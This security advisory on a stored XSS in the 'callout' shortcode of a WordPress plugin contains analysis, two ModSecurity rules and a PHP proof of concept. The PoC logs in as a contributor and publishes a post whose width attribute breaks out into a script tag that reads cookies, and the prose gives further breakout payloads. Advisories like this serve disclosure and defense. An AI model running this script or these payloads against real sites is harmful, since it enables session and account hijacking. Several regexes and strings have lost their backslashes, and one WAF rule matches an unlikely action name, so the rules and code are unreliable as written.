Atomic Edge analysis of CVE-2026-8885 (metadata-based): This vulnerability is a Stored Cross-Site Scripting (XSS) in the DeMomentSomTres Shortcodes plugin for WordPress, affecting version 1.1.1 and below. The flaw exists in the ‘callout’ shortcode’s handling of the ‘width’ and ‘align’ attributes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts through these shortcode attributes, which are inadequately sanitized and escaped before being concatenated into a style attribute. The CVSS score is 6.4 (Medium), with a vector string indicating network exploitation, low attack complexity, low privileges required, and no user interaction needed, but with a changed scope (impacting other resources).
The root cause of this vulnerability, as inferred from the CWE-79 classification and the provided description, is improper input sanitization and output escaping within the ‘st_callout()’ function. The description explicitly states that the ‘width’ and ‘align’ attribute values are concatenated directly into an HTML style attribute. This indicates that the plugin likely uses string concatenation or a similar method to build the HTML output, rather than safely escaping attribute values with WordPress functions like esc_attr() or wp_kses(). Since Atomic Edge analysis is based on metadata, the specific code path is not confirmed, but the pattern strongly suggests that the developer did not apply context-aware escaping for HTML attributes. The absence of a patched version from the WordPress repository confirms that this issue remains unpatched.
Exploitation requires an attacker to have contributor-level permissions on a WordPress site. The attacker would create or edit a post, page, or widget and insert the vulnerable ‘callout’ shortcode. The attack payload is delivered through either the ‘width’ or ‘align’ attribute. For example, a malicious shortcode like [callout width=”100%””>alert(‘XSS’)”] or [callout align=”center”onmouseover=”alert(‘XSS’)”] can be used. Because the plugin concatenates these values directly into the style attribute, an attacker can break out of the attribute context (by injecting a double quote) and inject arbitrary HTML or JavaScript. The injected script will execute when any user, including administrators, visits the affected page. The specific endpoint used is the WordPress post editor (wp-admin/post-new.php or wp-admin/post.php), where the shortcode is embedded in the post content.
Remediation requires patching the vulnerable ‘st_callout()’ function to properly sanitize and escape the ‘width’ and ‘align’ shortcode attributes. The fix must apply context-aware escaping. For attributes placed into a style attribute, the plugin should validate that the width value is a valid CSS length (e.g., using ctype_digit() or a regex like /^d+(px|%|em)?$/) and that the align value is a specific string from an allowlist (e.g., ‘left’, ‘center’, ‘right’). Additionally, output escaping functions like esc_attr() must be used when outputting the values into the HTML style attribute. Atomic Edge research emphasizes that simply adding esc_attr() may not be sufficient for style attributes; a whitelist approach is more robust. Until a patch is available, site administrators should restrict contributor-level access or disable the plugin.
Successful exploitation of this vulnerability allows an attacker to inject arbitrary JavaScript into the context of the affected WordPress site. This can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive data such as login credentials and authentication cookies. Since the XSS is stored, it can affect all users who browse the compromised page, including administrators, potentially leading to full site compromise. The changed scope (C in the CVSS vector) indicates that the attack can impact resources beyond the vulnerable component, meaning an XSS payload could potentially interact with other plugins or the WordPress core’s API.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php"
"id:20268885,phase:2,deny,status:403,chain,msg:'Atomic Edge WAF Rule - CVE-2026-8885 (metadata-based) - Stored XSS via DeMomentSomTres Shortcodes',severity:'CRITICAL',tag:'CVE-2026-8885',tag:'WordPress',tag:'XSS'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:action "@streq wp_ajax_inline-save" "chain"
SecRule ARGS_POST:post_content "@rx x22[^>]*>[^<]*<script" "t:none,t:urlDecodeUni"
SecRule REQUEST_FILENAME "@streq /wp-json/wp/v2/posts"
"id:20268886,phase:2,deny,status:403,chain,msg:'Atomic Edge WAF Rule - CVE-2026-8885 (metadata-based) - Stored XSS via REST API',severity:'CRITICAL',tag:'CVE-2026-8885',tag:'WordPress',tag:'XSS'"
SecRule ARGS_POST:content "@rx [callout[^]]*widthx3dx22[^x22]*[<>]" "t:none,t:urlDecodeUni"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8885 - DeMomentSomTres Shortcodes <= 1.1.1 - Stored XSS via Shortcode Attributes
// Configuration - set these variables
$target_url = 'http://example.com'; // Change to the WordPress site URL
$admin_username = 'contributor'; // WordPress contributor credentials
$admin_password = 'password'; // WordPress contributor password
// PoC assumes the attacker has contributor-level access and can create/edit posts
// Step 1: Authenticate and obtain cookies
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $admin_username,
'pwd' => $admin_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce and cookie for REST API or admin-ajax (if needed)
// For simplicity, we use the WordPress REST API to create a post with the malicious shortcode
// Requires WP REST API enabled (default)
// Get nonce from admin-ajax
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url . '?action=rest-nonce');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$nonce_response = curl_exec($ch);
curl_close($ch);
$nonce = trim($nonce_response);
if (empty($nonce)) {
die("[!] Unable to retrieve REST API nonce. Try using the WordPress editor directly.n");
}
// XSS payload in width attribute: attempt to break out of style attribute and inject script
// The payload closes the style tag, then opens a script tag
$malicious_width = '100%"><script>alert(document.cookie)</script>';
$shortcode = '[callout width="' . $malicious_width . '" align="left"]Test content[/callout]';
// Create post with the malicious shortcode via REST API
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
'title' => 'Advanced Security Test - CVE-2026-8885',
'content' => $shortcode,
'status' => 'publish'
);
$json_data = json_encode($post_data);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201) {
echo "[+] Post created successfully with vulnerable shortcode.n";
$response_data = json_decode($response, true);
echo "[+] Post ID: " . $response_data['id'] . "n";
echo "[+] View the page at: " . $response_data['link'] . "n";
echo "[+] XSS payload should execute when viewing the page.n";
} else {
echo "[!] Failed to create post. HTTP Code: $http_coden";
echo "[!] Response: $responsen";
}
// Alternative: Try using the classic editor via admin-ajax with a nonce
// This approach is more likely to work if REST API is disabled
// Uncomment the following block if needed
/*
// Get a valid nonce for creating posts via nopriv or admin-ajax
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wp_ajax_get_revision_diffs&_ajax_nonce=test');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);
// Simplified: Use wp_editor to create a post (not fully automated)
*/